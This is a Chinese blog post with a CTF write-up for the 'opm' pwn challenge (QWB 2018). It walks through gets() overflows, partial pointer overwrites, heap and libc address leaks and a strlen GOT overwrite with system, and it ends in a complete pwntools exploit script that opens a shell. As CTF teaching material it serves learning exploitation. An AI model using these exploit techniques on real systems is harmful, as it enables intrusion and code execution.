kir[A]'s 小黑屋

qwb-pwn-opm

字数统计: 1.1k阅读时长: 5 min
2018/04/12 Share

opm

首先学习一下在IDA创建结构体,https://blog.csdn.net/hgy413/article/details/7104304

1
2
3
4
5
6
00000000 role            struc ; (sizeof=0x20, mappedto_6)
00000000 func dq ?
00000008 name dq ?
00000010 length dq ?
00000018 punch_num dq ?
00000020 role ends

按y重新设置类型后,add_role()伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
role *add_role()
{
role *v0; // rbx
role *v1; // rbx
size_t v2; // rax
role *v3; // rbx
char s; // [rsp+0h] [rbp-1A0h]
role *v6; // [rsp+80h] [rbp-120h]
char *v7; // [rsp+100h] [rbp-A0h]
unsigned __int64 v8; // [rsp+188h] [rbp-18h]

v8 = __readfsqword(0x28u);
v0 = (role *)operator new(0x20uLL);
sub_56544D04DE2C((__int64)v0); // 初始化结构体
v6 = v0;
v0->func = (__int64)show;
puts("Your name:");
gets(&s); // 溢出点
v1 = v6;
v1->length = strlen(&s);
v2 = strlen(&s);
v7 = (char *)malloc(v2);
strcpy(v7, &s);
v6->name = (__int64)v7;
puts("N punch?");
gets(&s); // 溢出点
v3 = v6;
LODWORD(v3->punch_num) = atoi(&s);
show((__int64)v6);
return v6;
}

思路:gets可以覆盖v6(注意gets会在末位加上’\x00’),第一个溢出点可以改变结构体存放的地址,第二溢出点可以用于泄露地址。

具体利用过程

1
2
3
add('A'*0x70,1)  #padding
add('B'*0x80+"\x10",2) #role1
add('C'*0x80,'3'+'D'*0x7f+'\x10') #role2

程序在heap上会有个很大的chunk,所以覆盖v6的最低位,或者倒数第二为\x00,指针仍然在heap上。

1
2
3
pwndbg> x/8gx 0x5603fb8e5000
0x5603fb8e5000: 0x0000000000000000 0x0000000000011c11
0x5603fb8e5010: 0x0000000000011c00 0x0000000000000000

首先正常创建一个role0(用来调整堆的位置,让role1->name在可控范围范围内)

1
2
3
4
5
6
7
pwndbg> x/32gx 0x55877d5ee000+0x11c10
0x55877d5ffc10: 0x0000000000000000 0x0000000000000031
0x55877d5ffc20: 0x000055877c368b30->func 0x000055877d5ffc50->name
0x55877d5ffc30: 0x0000000000000070->len 0x0000000000000001->punch
0x55877d5ffc40: 0x0000000000000000 0x0000000000000081
0x55877d5ffc50: 0x4141414141414141 0x4141414141414141->存放name的chunk
0x55877d5ffc60: 0x4141414141414141 0x4141414141414141

然后创建一个role1,输入name的时候v6被覆盖成xxxx0010

1
2
3
pwndbg> x/4gx 0x55877c56a0e0
0x55877c56a0e0: 0x000055877d5ffc20->role0 0x000055877d5f0010->role1
0x55877c56a0f0: 0x000055877d5f0010->role2 0x0000000000000000

由于v6被覆盖,只有func存到正确位置

1
2
3
4
5
6
0x55877d5ffcc0:	0x0000000000000000	0x0000000000000031
0x55877d5ffcd0: 0x000055877c368b30->func 0x0000000000000000
0x55877d5ffce0: 0x0000000000000000 0x0000000000000000
0x55877d5ffcf0: 0x0000000000000000 0x0000000000000091
0x55877d5ffd00: 0x4242424242424242 0x4242424242424242->存放name的chunk
0x55877d5ffd10: 0x4242424242424242 0x4242424242424242

其余部分存放到0x000055877d5f0010

1
2
3
pwndbg> x/8gx 0x000055877d5f0010
0x55877d5f0010: 0x0000000000000000 0x000055877d5ffd00->name
0x55877d5f0020: 0x0000000000000081 0x0000000000000003

创建一个role2,第一次溢出覆盖v6最低位为xxxxxx00,本来应为0x55877d5ffd90,变成了0x55877d5ffd00,而这个地址是role1存放name的chunk。

1
2
3
4
5
6
0x55877d5ffd80:	0x0000000000000010	0x0000000000000031
0x55877d5ffd90: 0x000055877c368b30 0x0000000000000000
0x55877d5ffda0: 0x0000000000000000 0x0000000000000000
0x55877d5ffdb0: 0x0000000000000000 0x0000000000000091
0x55877d5ffdc0: 0x4343434343434343 0x4343434343434343->name
0x55877d5ffdd0: 0x4343434343434343 0x4343434343434343

重新查看role1的heap

1
2
0x55877d5ffd00:	0x4242424242424242	0x000055877d5ffdc0->role1的name地址
0x55877d5ffd10: 0x0000000000000080 0x4242424242424242

第二次溢出覆盖v6最低位为xxxx0010,那么v6变成0x000055877d5f0010,这个地址是role1的地址,函数结束时候show就会把role1->name打印出来,此时role->name有heap的地址。

有了heap地址,就可以伪造role泄露函数地址,0x000055877d5ffdc0-0x30就是role2->func的地址

1
add('E'*8+p64(heap-0x30),str(131441).ljust(0x80,'F')+p64(heap+0xc0))

创建一个role3,利用role3->name进行伪造role,role3->name[0]当作func,role3->name[1]填入role2->func的地址0x000055877d5ffdc0-0x30,在第二个溢出点修改v6为fake role的地址0x000055877d5ffdc0+0xc0,由于punch num的输入会破坏top chunk,所以需要计算此时正确的数值,并输入。

1
2
3
原来top chunk:0x201c1
新建role3后申请了0x30+0x20的空间
此时top chunk:0x201c1-0x50 = 0x20171 = 131441

完成role3创建后heap结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/64gx 0x55877d5ffd80
0x55877d5ffd80: 0x0000000000000010 0x0000000000000031 ---->role2
0x55877d5ffd90: 0x000055877c368b30 0x0000000000000000
0x55877d5ffda0: 0x0000000000000000 0x0000000000000000
0x55877d5ffdb0: 0x0000000000000000 0x0000000000000091
0x55877d5ffdc0: 0x4343434343434343 0x4343434343434343 ---->role2->name
0x55877d5ffdd0: 0x4343434343434343 0x4343434343434343
0x55877d5ffde0: 0x4343434343434343 0x4343434343434343
0x55877d5ffdf0: 0x4343434343434343 0x4343434343434343
0x55877d5ffe00: 0x4343434343434343 0x4343434343434343
0x55877d5ffe10: 0x4343434343434343 0x4343434343434343
0x55877d5ffe20: 0x4343434343434343 0x4343434343434343
0x55877d5ffe30: 0x4343434343434343 0x4343434343434343
0x55877d5ffe40: 0x0000000000000000 0x0000000000000031 ---->role3
0x55877d5ffe50: 0x000055877c368b30 0x000055877d5ffe80
0x55877d5ffe60: 0x000000000000000e 0x0000000000000000
0x55877d5ffe70: 0x0000000000000000 0x0000000000000021
0x55877d5ffe80: 0x4545454545454545 0x000055877d5ffd90 ---->role3->name # fake role
0x55877d5ffe90: 0x0000000000000000 0x0000000000020171 ---->top chunk

同理可以泄漏libc地址,然后利用第二个溢出点覆盖v6为strlen@got地址,通过写入punch num修改低8位地址为system地址或者onegadget地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#coding:utf-8
from pwn import *
context.log_level='debug'
p = process('./opm')

def add(name,n):
p.sendlineafter('(E)','A')
p.sendlineafter('name:',name)
p.recvuntil('punch?',timeout=0.5)
p.sendline(str(n))

def show():
p.sendlineafter('(E)','S')

def d():
gdb.attach(p)
raw_input()

elf = ELF('./opm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
add('A'*0x70,1)
add('B'*0x80+'\x10',2)
add('C'*0x80,'3'+'D'*0x7f+'\x10')
# leak heap addr
p.recvuntil('B'*8)
heap = u64((p.recvuntil('>',drop=True)).ljust(8,'\x00'))
success(hex(heap))
# leak elf base
add('E'*8+p64(heap-0x30),str(131441).ljust(0x80,'F')+p64(heap+0xc0))
p.recvuntil('<')
func = u64((p.recvuntil('>',drop=True)).ljust(8,'\x00'))
elf.address = func-0xb30
success(hex(elf.address))
# leak libc base
add('G'*8+p64(elf.got['strlen']),str(131441-0x30-0x20).ljust(0x80,'H')+p64(heap+0xc0+0x30+0x20))
p.recvuntil('<')
strlen_addr = u64((p.recvuntil('>',drop=True)).ljust(8,'\x00'))
libc.address = strlen_addr - libc.symbols['strlen']
success(hex(libc.address))
# get shell
add('I'*0x10,str(libc.symbols['system']&0xffffffff).ljust(0x80,'J')+p64(elf.got['strlen']-0x18))
add('/bin/sh\x00','5')
p.interactive()

后来发现fake role向前移0x8就不会破坏top chunk,修改如下:

1
2
3
4
# leak elf addr
add(p64(heap-0x30),''.ljust(0x80,'F')+p64(heap+0xc0-0x8))
# leak libc base
add(p64(elf.got['strlen']),''.ljust(0x80,'H')+p64(heap+0xc0+0x30+0x20-0x8))

CATALOG
  1. 1. opm